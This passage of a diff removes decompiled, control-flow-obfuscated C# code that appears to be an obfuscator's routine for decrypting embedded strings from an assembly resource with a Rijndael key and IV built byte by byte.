- goto label_196; - case 141: - goto label_180; - case 142: - if (numArray4.Length > 0) - { - num6 = 156; - continue; - } - goto label_352; - case 143: - goto label_62; - case 144: - goto label_280; - case 145: - goto label_148; - case 146: - goto label_18; - case 147: - goto label_142; - case 148: - num2 = 186 - 62; - num6 = 253; - continue; - case 149: - numArray2[9] = (byte) (177 - 59); - num6 = 257; - continue; - case 150: - goto label_353; - case 151: - numArray2[23] = (byte) (100 + 20); - num3 = 226; - if (\u0002.\u0004()) - goto case 155; - else - goto label_332; - case 152: - numArray2[10] = (byte) (43 + 76); - num6 = 120; - continue; - case 153: - numArray1[6] = (byte) num1; - num6 = 30; - continue; - case 154: - \u0002.\u0003(\u0002.\u0003((object) binaryReader), 0L); - num3 = 333; - if (true) - goto label_332; - else - goto case 37; - case 155: - case 321: - num2 = 170 - 56; - num6 = 241; - continue; - case 156: - numArray3[1] = numArray4[0]; - num6 = 29; - continue; - case 157: - numArray2[23] = (byte) (82 - 73); - num3 = 2; - if (!\u0002.\u0004()) - goto label_332; - else - goto case 208; - case 158: - goto label_276; - case 159: - goto label_330; - case 160: - numArray1[1] = (byte) num1; - num6 = 311; - continue; - case 161: - numArray2[23] = (byte) num2; - num6 = 157; - continue; - case 162: - numArray2[17] = (byte) num2; - num6 = 261; - continue; - case 163: - numArray1[1] = (byte) num1; - num6 = 27; - continue; - case 164: - goto label_267; - case 165: - goto label_291; - case 166: - goto label_315; - case 167: - numArray2[24] = (byte) (221 - 73); - num6 = 93; - continue; - case 168: - numArray2[13] = (byte) (139 - 46); - num6 = 283; - continue; - case 169: - goto label_34; - case 170: - numArray2[20] = (byte) num2; - num3 = 65; - if (true) - goto label_332; - else - goto case 197; - case 171: - num1 = 192 - 64; - num6 = 270; - continue; - case 172: - goto label_201; - case 173: - goto label_51; - case 174: - goto label_87; - case 175: - numArray1[3] = (byte) num1; - num6 = 77; - continue; - case 176: - goto label_63; - case 177: - num2 = 123 + 108; - num6 = 40; - continue; - case 178: - numArray2[29] = (byte) num2; - num6 = 35; - continue; - case 179: - numArray1[11] = (byte) num1; - num6 = 56; - continue; - case 180: - goto label_43; - case 181: - goto label_127; - case 182: - goto label_113; - case 183: - numArray2[22] = (byte) (36 + 113); - num6 = 0; - continue; - case 184: - goto label_329; - case 185: - goto label_97; - case 186: - num1 = 164 - 54; - num6 = 160; - continue; - case 187: - goto label_265; - case 188: - numArray1[9] = (byte) num1; - num3 = 171; - if (!\u0002.\u0004()) - goto label_332; - else - goto case 177; - case 189: - goto label_341; - case 190: - numArray1[4] = (byte) (57 + 30); - num3 = 70; - if (\u0002.\u0004()) - goto case 252; - else - goto label_332; - case 191: - goto label_7; - case 192: - numArray2[16] = (byte) num2; - num6 = 46; - continue; - case 193: - // ISSUE: type reference - binaryReader = new BinaryReader((Stream) \u0002.\u0003((object) \u0002.\u0003(__typeref (\u0002)).Assembly, (object) \u0006.\u0003(5700))); - num6 = 154; - continue; - case 194: - goto label_69; - case 195: - goto label_58; - case 196: - goto label_272; - case 197: - num1 = 63 + 83; - num3 = 218; - if (true) - goto label_332; - else - goto case 199; - case 198: - goto label_246; - case 199: - numArray2[18] = (byte) (86 + 23); - num3 = 130; - if (!\u0002.\u0003()) - goto case 339; - else - goto label_332; - case 200: - num2 = 237 - 79; - num6 = 34; - continue; - case 201: - goto label_181; - case 202: - goto label_271; - case 203: - goto label_237; - case 204: - goto label_219; - case 205: - goto label_214; - case 206: - numArray2[8] = (byte) (86 + 74); - num6 = 285; - continue; - case 207: - goto label_48; - case 208: - numArray2[22] = (byte) num2; - num6 = 75; - continue; - case 209: - goto label_129; - case 210: - num2 = 156 - 52; - num6 = 81; - continue; - case 211: - goto label_186; - case 212: - goto label_59; - case 213: - goto label_248; - case 214: - numArray2[10] = (byte) num2; - num6 = 84; - continue; - case 215: - goto label_270; - case 216: - goto label_273; - case 217: - num2 = 252 - 84; - num6 = 146; - continue; - case 218: - goto label_73; - case 219: - goto label_122; - case 220: - goto label_342; - case 221: - num1 = 116 + 19; - num6 = 297; - continue; - case 222: - numArray1[14] = (byte) (134 - 44); - num6 = 303; - continue; - case 223: - num2 = 141 - 47; - num6 = 342; - continue; - case 224: - goto label_55; - case 225: - goto label_215; - case 226: - goto label_245; - case 227: - numArray2[20] = (byte) (12 + 41); - num3 = 135; - if (!\u0002.\u0003()) - goto case 46; - else - goto label_332; - case 228: - goto label_323; - case 229: - goto label_130; - case 230: - numArray2[15] = (byte) (128 - 5); - num6 = 260; - continue; - case 231: - goto label_36; - case 232: - goto label_311; - case 233: - goto label_335; - case 234: - goto label_78; - case 235: - goto label_41; - case 236: - goto label_173; - case 237: - numArray2[7] = (byte) (33 + 16); - num6 = 236; - continue; - case 238: - goto label_47; - case 239: - num2 = 80 + 32; - num6 = 282; - continue; - case 240: - num2 = 47 + 101; - num6 = 66; - continue; - case 241: - numArray2[23] = (byte) num2; - num6 = 55; - continue; - case 242: - goto label_225; - case 243: - goto label_318; - case 244: - numArray2[3] = (byte) (52 + 75); - num6 = 73; - continue; - case 245: - numArray1[3] = (byte) (153 - 51); - num6 = 267; - continue; - case 246: - goto label_307; - case 247: - goto label_128; - case 248: - goto label_109; - case 249: - num2 = 121 + 9; - num6 = 209; - continue; - case 250: - goto label_232; - case 251: - goto label_206; - case 252: - num2 = 238 - 79; - num6 = 137; - continue; - case 253: - numArray2[3] = (byte) num2; - num3 = 288; - if (!\u0002.\u0004()) - goto label_332; - else - goto case (int) sbyte.MaxValue; - case 254: - numArray1[2] = (byte) (74 + 21); - num6 = 88; - continue; - case (int) byte.MaxValue: - goto label_96; - case 256: - goto label_93; - case 257: - numArray2[9] = (byte) (82 + 46); - num3 = 301; - if (true) - goto label_332; - else - goto case 292; - case 258: - numArray2[11] = (byte) (130 - 43); - num3 = 343; - if (true) - goto label_332; - else - goto case 71; - case 259: - goto label_154; - case 260: - goto label_243; - case 261: - numArray2[17] = (byte) (167 - 67); - num6 = 234; - continue; - case 262: - numArray1[14] = (byte) num1; - num6 = 68; - continue; - case 263: - numArray2[7] = (byte) num2; - num3 = 206; - if (true) - goto label_332; - else - goto case 343; - case 264: - num1 = 45 + 56; - num6 = 153; - continue; - case 265: - numArray2[25] = (byte) (141 + 76); - num6 = 294; - continue; - case 266: - goto label_159; - case 267: - goto label_205; - case 268: - goto label_68; - case 269: - goto label_119; - case 270: - numArray1[9] = (byte) num1; - num6 = 1; - continue; - case 271: - numArray1[0] = (byte) (237 - 79); - num6 = 20; - continue; - case 272: - goto label_352; - case 273: - numArray1[8] = (byte) (120 - 70); - num6 = 24; - continue; - case 274: - goto label_11; - case 275: - \u0002.\u0003((object) rijndaelManaged, CipherMode.CBC); - num6 = 238; - continue; - case 276: - numArray2[18] = (byte) (181 - 113); - num3 = 243; - if (\u0002.\u0004()) - goto case 325; - else - goto label_332; - case 277: - goto label_174; - case 278: - numArray2[0] = (byte) num2; - num3 = 180; - if (true) - goto label_332; - else - goto case 112; - case 279: - numArray2[2] = (byte) (46 - 40); - num6 = 89; - continue; - case 280: - numArray1[3] = (byte) num1; - num6 = 291; - continue; - case 281: - goto label_2; - case 282: - goto label_229; - case 283: - numArray2[13] = (byte) (149 + 31); - num3 = 111; - if (true) - goto label_332; - else - goto case 278; - case 284: - goto label_297; - case 285: - numArray2[8] = (byte) (152 - 50); - if (!\u0002.\u0003()) - { - num6 = 321; - continue; - } - num3 = 92; - if (true) - goto label_332; - else - goto case 21; - case 286: - numArray2[12] = (byte) num2; - num6 = 310; - continue; - case 287: - goto label_132; - case 288: - goto label_322; - case 289: - numArray2[31] = (byte) (78 + 91); - num6 = 4; - continue; - case 290: - goto label_146; - case 291: - goto label_254; - case 292: - num2 = 151 - 79; - num3 = 174; - if (true) - goto label_332; - else - goto case 168; - case 293: - numArray2[12] = (byte) (15 + 39); - num6 = 329; - continue; - case 294: - goto label_16; - case 295: - numArray2[2] = (byte) num2; - num6 = 119; - continue; - case 296: - goto label_189; - case 297: - goto label_112; - case 298: - num2 = 203 - 67; - num6 = 335; - continue; - case 299: - goto label_339; - case 300: - num2 = 73 + 56; - num6 = 147; - continue; - case 301: - num2 = 168 + 64; - num6 = 109; - continue; - case 302: - goto label_190; - case 303: - goto label_177; - case 304: - goto label_137; - case 305: - goto label_284; - case 306: - numArray3[7] = numArray4[3]; - num6 = 86; - continue; - case 307: - goto label_183; - case 308: - goto label_29; - case 309: - goto label_316; - case 310: - goto label_269; - case 311: - goto label_136; - case 312: - numArray2[26] = (byte) (141 + 28); - num6 = 13; - continue; - case 313: - goto label_188; - case 314: - goto label_103; - case 315: - goto label_325; - case 316: - goto label_266; - case 317: - numArray2[16] = (byte) num2; - num3 = 323; - if (\u0002.\u0003()) - goto label_332; - else - goto case 329; - case 318: - goto label_199; - case 319: - goto label_90; - case 320: - num2 = 99 + 93; - num6 = 115; - continue; - case 322: - goto label_220; - case 323: - num2 = 103 - 88; - num3 = 192; - if (!\u0002.\u0003()) - goto case 8; - else - goto label_332; - case 324: - goto label_94; - case 325: - num2 = 148 - 49; - num3 = 228; - if (\u0002.\u0003()) - goto label_332; - else - goto case 110; - case 326: - numArray2[17] = (byte) (12 + 54); - num6 = 207; - continue; - case 327: - num2 = 20 + 89; - num3 = 114; - if (\u0002.\u0004()) - goto case 161; - else - goto label_332; - case 328: - goto label_30; - case 329: - num2 = 142 - 47; - num6 = 122; - continue; - case 330: - goto label_275; - case 331: - goto label_125; - case 332: - numArray2[31] = (byte) (100 + 38); - num6 = 95; - continue; - case 333: - \u0002.\u0003(true); - num6 = 50; - continue; - case 334: - num2 = 18 + 26; - num6 = 295; - continue; - case 335: - goto label_133; - case 336: - goto label_39; - case 337: - goto label_231; - case 338: - goto label_208; - case 339: - numArray2[31] = (byte) num2; - num6 = 231; - continue; - case 340: - goto label_57; - case 341: - numArray2[20] = (byte) (144 - 48); - num3 = 336; - if (true) - goto label_332; - else - goto case 157; - case 342: - goto label_116; - case 343: - numArray2[11] = (byte) (68 + 95); - num6 = 136; - continue; - case 344: - goto label_348; - default: - goto label_334; - } - } -label_24: - num2 = 113 + 123; - num3 = 169; - if (\u0002.\u0003()) - continue; -label_91: - numArray1[15] = (byte) num1; - num3 = 173; - if (!\u0002.\u0004()) - continue; -label_92: - num1 = 200 - 66; - num3 = 175; - if (true) - continue; -label_93: - numArray1[4] = (byte) (128 - 51); - num3 = 246; - } - while (true); - goto label_94; -label_57: - num2 = 155 - 51; - num3 = 162; - if (true) - continue; -label_58: - numArray1[7] = (byte) (46 + 19); - num3 = 97; - if (true) - continue; -label_59: - num2 = 81 + 43; - num3 = 112; - if (\u0002.\u0004()) - goto label_307; - else - continue; -label_306: - numArray2[12] = (byte) num2; - num3 = 3; - if (true) - continue; -label_307: - num1 = 254 - 84; - num3 = 250; - } - while (!\u0002.\u0004()); - goto label_280; -label_97: - numArray2[29] = (byte) num2; - num3 = 298; - if (\u0002.\u0004()) - goto label_246; - else - continue; -label_112: - numArray1[1] = (byte) num1; - num3 = 124; - if (\u0002.\u0003()) - continue; -label_113: - num4 = \u0002.\u0003((object) \u0002.\u0004, obj0); - num3 = 344; - if (\u0002.\u0004()) - goto label_346; - else - continue; -label_246: - if (numArray4 == null) - goto label_352; - else - goto label_247; -label_325: - numArray2[6] = (byte) (54 - 29); - num3 = 18; - if (!\u0002.\u0003()) - goto label_342; - else - continue; -label_334: - num5 = 215; - goto label_331; -label_335: - if (\u0002.\u0004.Length == 0) - { - num3 = 193; - continue; - } - goto label_113; -label_339: - \u0002.\u0004((object) memoryStream); - num3 = 269; - if (!\u0002.\u0003()) - goto label_109; - else - continue; -label_340: - numArray1[6] = (byte) num1; - num5 = 264; - goto label_331; -label_341: - numArray2[24] = (byte) (181 - 60); - num3 = 239; - continue; -label_342: - cryptoStream = new CryptoStream((Stream) memoryStream, transform, CryptoStreamMode.Write); - num3 = 187; - if (!\u0002.\u0003()) - goto label_194; - else - continue; -label_346: - num1 = 173 - 63; - num5 = 141; - goto label_331; -label_348: - string str; - try - { - str = (string) \u0002.\u0003(\u0002.\u0003(), (object) \u0002.\u0004, obj0 + 4, num4); - goto label_351; - } - catch - { - } - return \u0006.\u0003(5753); -label_351: - return str; -label_352: - rijndaelManaged = new RijndaelManaged(); - num3 = 275; - if (true) - continue; - goto label_130; -label_353: - memoryStream = new MemoryStream(); - num3 = 220; - continue; -label_354: - numArray3[13] = numArray4[6]; - num3 = 51; - } - while (!\u0002.\u0004()); - goto label_15; -label_258: - numArray2[27] = (byte) (248 - 82); - num3 = 196; - } - while (\u0002.\u0003()); - goto label_259; -label_115: - num1 = 39 + 53; - num3 = 281; - if (true) - continue; -label_116: - numArray2[17] = (byte) num2; - num3 = 326; - } - while (true); - goto label_117; -label_138: - numArray2[28] = (byte) (118 + 53); - num3 = 19; - if (\u0002.\u0004()) - goto label_330; - else - continue; -label_270: - num2 = 214 - 71; - num3 = 140; - continue; -label_330: - numArray2[26] = (byte) num2; - goto label_270; - } - while (!\u0002.\u0004()); - goto label_18; -label_67: - num2 = 163 - 54; - num3 = 116; - } - while (\u0002.\u0003()); - goto label_122; -label_147: - numArray1[12] = (byte) (19 + 100); - num3 = 15; - } - while (!\u0002.\u0004()); - goto label_274; -label_158: - numArray1[6] = (byte) num1; - num3 = 195; - } - while (true); - goto label_159; -label_284: - numArray2[1] = (byte) (139 - 46); - num3 = 118; - if (!\u0002.\u0004()) - continue; -label_285: - numArray2[8] = (byte) num2; - num3 = 302; - } - while (!\u0002.\u0004()); - goto label_202; -label_224: - numArray1[5] = (byte) (133 - 44); - num3 = 91; - if (true) - continue; -label_225: - numArray2[25] = (byte) (164 - 54); - num3 = 265; - } - while (!\u0002.\u0004()); - goto label_267; -label_195: - numArray2[17] = (byte) num2; - num3 = 340; - } - while (true); - goto label_196; -label_155: - numArray2[4] = (byte) (247 - 82); - num3 = 64; - } - while (true); - goto label_156; -label_61: - numArray1[1] = (byte) num1; - num3 = 221; - } - while (\u0002.\u0003()); - goto label_305; -label_238: - num2 = 157 - 52; - num3 = 278; - } - while (true); - goto label_239; -label_310: - num1 = 137 - 45; - num3 = 188; - } - while (true); - goto label_311; -label_180: - numArray1[2] = (byte) num1; - num3 = 79; - } - while (true); - goto label_181; -label_34: - numArray2[5] = (byte) num2; - num3 = 290; - } - while (\u0002.\u0003()); - goto label_122; -label_87: - numArray2[14] = (byte) num2; - num3 = 103; - } - while (\u0002.\u0003()); - goto label_88; -label_7: - numArray2 = new byte[32]; - num3 = 47; - } - while (true); - goto label_8; -label_272: - num2 = 159 - 53; - num3 = 133; - } - while (true); - goto label_273; -label_48: - num2 = 134 - 44; - num3 = 69; - } - while (!\u0002.\u0004()); - goto label_221; -label_186: - numArray2[1] = (byte) (189 - 63); - num3 = 305; - } - while (true); - goto label_187; -label_55: - numArray1[10] = (byte) (194 + 31); - num3 = 22; - } - while (\u0002.\u0003()); - goto label_128; -label_173: - num2 = 92 + 69; - num3 = 263; - } - while (\u0002.\u0003()); - goto label_174; -label_318: - numArray2[19] = (byte) (35 + 107); - num3 = 284; - } - while (!\u0002.\u0004()); - goto label_329; -label_231: - \u0002.\u0005((object) binaryReader); - num3 = 182; - if (true) - continue; -label_232: - numArray1[5] = (byte) num1; - num3 = 6; - } - while (!\u0002.\u0004()); - goto label_233; -label_243: - numArray2[16] = (byte) (65 + 40); - num3 = 232; - } - while (true); - goto label_244; -label_205: - num1 = 228 - 76; - num3 = 280; - } - while (true); - goto label_206; -label_132: - numArray1[13] = (byte) (180 - 60); - num3 = 225; - } - while (true); - goto label_133; -label_16: - num2 = 253 - 84; - num3 = 159; - } - while (\u0002.\u0003()); - goto label_17; -label_190: - numArray2[8] = (byte) (160 - 40); - num3 = 76; - } - while (\u0002.\u0003()); - goto label_183; -label_29: - numArray2[12] = (byte) (109 + 120); - num3 = 293; - } - while (!\u0002.\u0004()); - goto label_30; -label_136: - num1 = 106 - 29; - num3 = 163; - } - while (true); - goto label_137; -label_19: - numArray1[8] = (byte) (7 + 66); - num3 = 273; - continue; -label_30: - numArray1[8] = (byte) num1; - num3 = 126; - continue; -label_38: - numArray2[9] = (byte) num2; - num3 = 152; - continue; -label_41: - numArray3[5] = numArray4[2]; - num3 = 306; - continue; -label_42: - num2 = 147 - 49; - num3 = 107; - continue; -label_47: - transform = (ICryptoTransform) \u0002.\u0003((object) rijndaelManaged, (object) numArray5, (object) numArray3); - num3 = 150; - continue; -label_52: - numArray1[9] = (byte) num1; - num3 = 316; - continue; -label_62: - numArray1[2] = (byte) num1; - num3 = 98; - continue; -label_66: - numArray1[2] = (byte) (189 - 63); - num3 = 254; - continue; -label_69: - numArray2[29] = (byte) (233 - 77); - num3 = 165; - continue; -label_74: - numArray2[5] = (byte) (237 - 79); - num3 = 7; - continue; -label_78: - num2 = (int) sbyte.MaxValue - 42; - num3 = 166; - continue; -label_80: - numArray1[7] = (byte) (58 + 12); - num3 = 322; - continue; -label_89: - \u0002.\u0004 = (byte[]) \u0002.\u0006((object) memoryStream); - num3 = 299; - continue; -label_96: - numArray2[6] = (byte) (73 + 119); - num3 = 315; - continue; -label_101: - num2 = 4 + 36; - num3 = 164; - continue; -label_103: - numArray3[11] = numArray4[5]; - num3 = 11; - continue; -label_109: - numArray1[2] = (byte) (123 + 123); - num3 = 61; - continue; -label_121: - num2 = 148 - 49; - num3 = 58; - continue; -label_127: - numArray2[0] = (byte) num2; - num3 = 44; - continue; -label_128: - numArray2[1] = (byte) (194 - 64); - num3 = 211; - continue; -label_130: - numArray1[14] = (byte) num1; - num3 = 222; - continue; -label_137: - numArray2[10] = (byte) num2; - num3 = 258; - continue; -label_148: - num1 = 125 + 67; - num3 = 60; - continue; -label_163: - numArray3[3] = numArray4[1]; - num3 = 235; - continue; -label_166: - numArray1[13] = (byte) (173 - 62); - num3 = 62; - continue; -label_177: - numArray1[14] = (byte) (119 + 80); - num3 = 38; - continue; -label_179: - numArray2[0] = (byte) num2; - num3 = 96; - continue; -label_188: - numArray2[11] = (byte) num2; - num3 = 308; - continue; -label_200: - numArray2[30] = (byte) num2; - num3 = 74; - continue; -label_201: - num1 = 143 - 47; - num3 = 216; - continue; -label_210: - num1 = 176 - 58; - num3 = 158; - continue; -label_214: - numArray2[4] = (byte) num2; - num3 = 17; - continue; -label_221: - num2 = 212 - 70; - num3 = 338; - continue; -label_230: - numArray2[20] = (byte) (179 - 59); - num3 = 341; - continue; -label_237: - num1 = 245 - 81; - num3 = 32; - continue; -label_247: - num3 = 142; - continue; -label_263: - num2 = 238 - 79; - num3 = 12; - continue; -label_266: - numArray1[10] = (byte) (178 - 59); - num3 = 129; - continue; -label_271: - \u0002.\u0003((object) cryptoStream); - num3 = 57; - continue; -label_274: - numArray2[14] = (byte) (97 + 96); - num3 = 292; - continue; -label_275: - numArray1[3] = (byte) (165 - 107); - num3 = 190; - continue; -label_280: - num2 = 44 + 104; - num3 = 106; - continue; -label_305: - numArray1[15] = (byte) (138 + 13); - num3 = 9; - continue; -label_311: - numArray2[16] = (byte) (28 + 54); - num3 = 266; - continue; -label_315: - numArray2[18] = (byte) num2; - num3 = 199; - continue; -label_316: - numArray2[24] = (byte) num2; - num3 = 318; - } -label_2: - numArray1[0] = (byte) num1; - num5 = 72; - continue; -label_6: - numArray2[18] = (byte) num2; - num5 = 276; - continue; -label_8: - numArray2[19] = (byte) num2; - num5 = 252; - continue; -label_9: - numArray1[0] = (byte) (85 + 83); - num5 = 26; - continue; -label_10: - numArray2[15] = (byte) (84 + 32); - num5 = 230; - continue; -label_11: - numArray2[0] = (byte) (145 + 60); - num5 = 212; - continue; -label_12: - numArray2[9] = (byte) (29 + 40); - num5 = 94; - continue; -label_15: - num2 = 178 - 59; - num5 = 201; - continue; -label_17: - num2 = 130 - 27; - num5 = 313; - continue; -label_18: - numArray2[19] = (byte) num2; - num5 = 249; - continue; -label_35: - numArray2[21] = (byte) (232 - 77); - num5 = 144; - continue; -label_36: - num2 = 188 - 62; - num5 = 296; - continue; -label_37: - numArray2[13] = (byte) (37 + 50); - num5 = 168; - continue; -label_39: - num2 = 128 + 105; - num5 = 170; - continue; -label_43: - numArray2[0] = (byte) (83 + 114); - num5 = 8; - continue; -label_44: - numArray1[15] = (byte) num1; - num5 = 113; - continue; -label_45: - numArray2[12] = (byte) num2; - num5 = 5; - continue; -label_49: - numArray1[13] = (byte) num1; - num5 = 287; - continue; -label_51: - num1 = 24 + 89; - num5 = 36; - continue; -label_63: - numArray2[17] = (byte) num2; - num5 = 223; - continue; -label_64: - numArray5 = numArray2; - num5 = 25; - continue; -label_68: - numArray2[3] = (byte) num2; - num5 = 21; - continue; -label_70: - num2 = 70 + 7; - num5 = 161; - continue; -label_71: - numArray2[22] = (byte) (137 - 60); - num5 = 151; - continue; -label_72: - numArray1 = new byte[16]; - num5 = 172; - continue; -label_73: - numArray1[12] = (byte) num1; - num5 = 203; - continue; -label_79: - numArray1[9] = (byte) (153 - 51); - num5 = 102; - continue; -label_88: - num1 = 102 + 72; - num5 = 43; - continue; -label_90: - numArray2[6] = (byte) (194 - 64); - num5 = (int) byte.MaxValue; - continue; -label_94: - num2 = 202 - 92; - num5 = 10; - continue; -label_95: - numArray1[10] = (byte) (27 + 1); - num5 = 224; - continue; -label_106: - numArray2[27] = (byte) num2; - num5 = 300; - continue; -label_114: - num2 = 143 - 47; - num5 = 181; - continue; -label_117: - numArray2[21] = (byte) num2; - num5 = 331; - continue; -label_119: - \u0002.\u0004((object) cryptoStream); - num5 = 337; - continue; -label_120: - numArray2[28] = (byte) num2; - num5 = 200; - continue; -label_122: - numArray2[4] = (byte) num2; - num5 = 37; - continue; -label_125: - num2 = 12 + 81; - num5 = 277; - continue; -label_129: - numArray2[19] = (byte) num2; - num5 = 177; - continue; -label_133: - numArray2[30] = (byte) num2; - num5 = 41; - continue; -label_141: - numArray1[14] = (byte) (240 - 80); - num5 = 121; - continue; -label_142: - numArray2[28] = (byte) num2; - num5 = 104; - continue; -label_146: - num2 = 96 + 66; - num5 = 71; - continue; -label_153: - numArray2[26] = (byte) num2; - num5 = 312; - continue; -label_154: - numArray1[11] = (byte) (145 - 48); - num5 = 110; - continue; -label_156: - num1 = 158 - 52; - num5 = 117; - continue; -label_157: - numArray2[27] = (byte) num2; - num5 = (int) sbyte.MaxValue; - continue; -label_159: - num2 = 119 + 50; - num5 = 317; - continue; -label_162: - num1 = 58 + 113; - num5 = 328; - continue; -label_172: - numArray3[9] = numArray4[4]; - num5 = 314; - continue; -label_174: - numArray2[22] = (byte) num2; - num5 = 14; - continue; -label_176: - num2 = 133 - 44; - num5 = 268; - continue; -label_181: - numArray2[29] = (byte) num2; - num5 = 194; - continue; -label_183: - numArray1[7] = (byte) (191 + 34); - num5 = 45; - continue; -label_187: - numArray2[20] = (byte) num2; - num5 = 227; - continue; -label_189: - numArray2[31] = (byte) num2; - num5 = 332; - continue; -label_191: - numArray2[3] = (byte) num2; - num5 = 244; - continue; -label_194: - numArray2[31] = (byte) num2; - num5 = 63; - continue; -label_196: - numArray2[26] = (byte) num2; - num5 = 210; - continue; -label_199: - numArray2[25] = (byte) (22 + 18); - num5 = 242; - continue; -label_202: - numArray2[9] = (byte) num2; - num5 = 325; - continue; -label_206: - numArray1[12] = (byte) num1; - num5 = 184; - continue; -label_208: - numArray2[15] = (byte) num2; - num5 = 128; - continue; -label_209: - num1 = 91 + 84; - num5 = 143; - continue; -label_215: - num1 = 30 + 108; - num5 = 49; - continue; -label_219: - num2 = 112 + 31; - num5 = 304; - continue; -label_220: - numArray1[7] = (byte) (198 - 66); - num5 = 134; - continue; -label_229: - numArray2[24] = (byte) num2; - num5 = 167; - continue; -label_233: - numArray2[27] = (byte) num2; - num5 = 320; - continue; -label_239: - numArray1[13] = (byte) num1; - num5 = 105; - continue; -label_242: - num2 = 20 + 67; - num5 = 339; - continue; -label_244: - numArray1[5] = (byte) (85 - 59); - num5 = 132; - continue; -label_245: - num2 = 37 + 121; - num5 = 16; - continue; -label_248: - numArray2[30] = (byte) (145 + 70); - num5 = 289; - continue; -label_254: - numArray1[3] = (byte) (193 - 64); - num5 = 330; - continue; -label_259: - numArray2[18] = (byte) (30 + 97); - num5 = 327; - continue; -label_260: - num1 = 134 - 44; - num5 = 83; - continue; -label_265: - \u0002.\u0003((object) cryptoStream, (object) numArray6, 0, numArray6.Length); - num5 = 202; - continue; -label_267: - numArray2[15] = (byte) num2; - num5 = 59; - continue; -label_269: - numArray2[12] = (byte) (233 - 77); - num5 = 324; - continue; -label_273: - numArray1[0] = (byte) num1; - num5 = 271; - continue; -label_276: - numArray1[11] = (byte) num1; - num5 = 259; - continue; -label_277: - num2 = 229 - 76; - num5 = 101; - continue; -label_283: - numArray2[28] = (byte) num2; - num5 = 31; - continue; -label_291: - num2 = 182 - 60; - num5 = 178; - continue; -label_294: - numArray2[8] = (byte) num2; - num5 = 240; - continue; -label_297: - numArray2[19] = (byte) (9 + 84); - num5 = 217; - continue; -label_304: - numArray2[28] = (byte) (37 + 46); - num5 = 48; - continue; -label_314: - numArray1[1] = (byte) (81 + 90); - num5 = 186; - continue; -label_322: - num2 = 119 + 17; - num5 = 33; - continue; -label_323: - numArray2[9] = (byte) num2; - num5 = 149; - continue; -label_327: - numArray2[22] = (byte) (176 - 58); - num5 = 183; - continue; -label_328: - num2 = 45 + 94; - num5 = 214; - continue; -label_329: - numArray1[12] = (byte) (70 + 81); - num5 = 82; - } - } - catch (Exception ex) - { - int num7; - string str1; - string str2; - string str3; - byte[] numArray7; - byte[] numArray8; - int num8; - object[] objArray = new object[23] - { - (object) num1, - (object) numArray1, - (object) num2, - (object) cryptoStream, - (object) num4, - (object) numArray6, - (object) binaryReader, - (object) num7, - (object) str1, - (object) str2, - (object) numArray5, - (object) rijndaelManaged, - (object) numArray2, - (object) numArray4, - (object) transform, - (object) str3, - (object) numArray7, - (object) numArray3, - (object) numArray8, - (object) memoryStream, - (object) num8, - (object) num3, - (object) obj0 - }; - throw UnhandledException.\u0003(ex, objArray); - } - } - - [MethodImpl(MethodImplOptions.NoInlining)] - public \u0002() - { - try - { - } - catch (Exception ex) - { - throw UnhandledException.\u0003(ex, (object) this); - } - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static Type \u0003([In] RuntimeTypeHandle obj0) - { - try - { - return Type.GetTypeFromHandle(obj0); - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) obj0; - throw UnhandledException.\u0003(ex, (object) local); - } - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object \u0003([In] object obj0, [In] object obj1) - { - try - { - return (object) ((Assembly) obj0).GetManifestResourceStream((string) obj1); - } - catch (Exception ex) - { - object obj2 = obj0; - object obj3 = obj1; - throw UnhandledException.\u0003(ex, obj2, obj3); - } - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object \u0003([In] object obj0) - { - try - { - return (object) ((BinaryReader) obj0).BaseStream; - } - catch (Exception ex) - { - object obj = obj0; - throw UnhandledException.\u0003(ex, obj); - } - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void \u0003([In] object obj0, [In] long obj1) - { - try - { - ((Stream) obj0).Position = obj1; - } - catch (Exception ex) - { - object obj = obj0; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) obj1; - throw UnhandledException.\u0003(ex, obj, (object) local); - } - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void \u0003([In] bool obj0) - { - try - { - RSACryptoServiceProvider.UseMachineKeyStore = obj0; - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) obj0; - throw UnhandledException.\u0003(ex, (object) local); - } - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static long \u0003([In] object obj0) - { - try - { - return ((Stream) obj0).Length; - } - catch (Exception ex) - { - object obj = obj0; - throw UnhandledException.\u0003(ex, obj); - } - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object \u0003([In] object obj0, [In] int obj1) - { - try - { - return (object) ((BinaryReader) obj0).ReadBytes(obj1); - } - catch (Exception ex) - { - object obj = obj0; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) obj1; - throw UnhandledException.\u0003(ex, obj, (object) local); - } - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object \u0004([In] object obj0) - { - try - { - return (object) ((Assembly) obj0).GetName(); - } - catch (Exception ex) - { - object obj = obj0; - throw UnhandledException.\u0003(ex, obj); - } - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object \u0005([In] object obj0) - { - try - { - return (object) ((AssemblyName) obj0).GetPublicKeyToken(); - } - catch (Exception ex) - { - object obj = obj0; - throw UnhandledException.\u0003(ex, obj); - } - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void \u0003([In] object obj0, [In] CipherMode obj1) - { - try - { - ((SymmetricAlgorithm) obj0).Mode = obj1; - } - catch (Exception ex) - { - object obj = obj0; - // ISSUE: variable of a boxed type - __Boxed local = (Enum) obj1; - throw UnhandledException.\u0003(ex, obj, (object) local); - } - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object \u0003([In] object obj0, [In] object obj1, [In] object obj2) - { - try - { - return (object) ((SymmetricAlgorithm) obj0).CreateDecryptor((byte[]) obj1, (byte[]) obj2); - } - catch (Exception ex) - { - object obj3 = obj0; - object obj4 = obj1; - object obj5 = obj2; - throw UnhandledException.\u0003(ex, obj3, obj4, obj5); - } - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void \u0003([In] object obj0, [In] object obj1, [In] int obj2, [In] int obj3) - { - try - { - ((Stream) obj0).Write((byte[]) obj1, obj2, obj3); - } - catch (Exception ex) - { - object obj4 = obj0; - object obj5 = obj1; - // ISSUE: variable of a boxed type - __Boxed local1 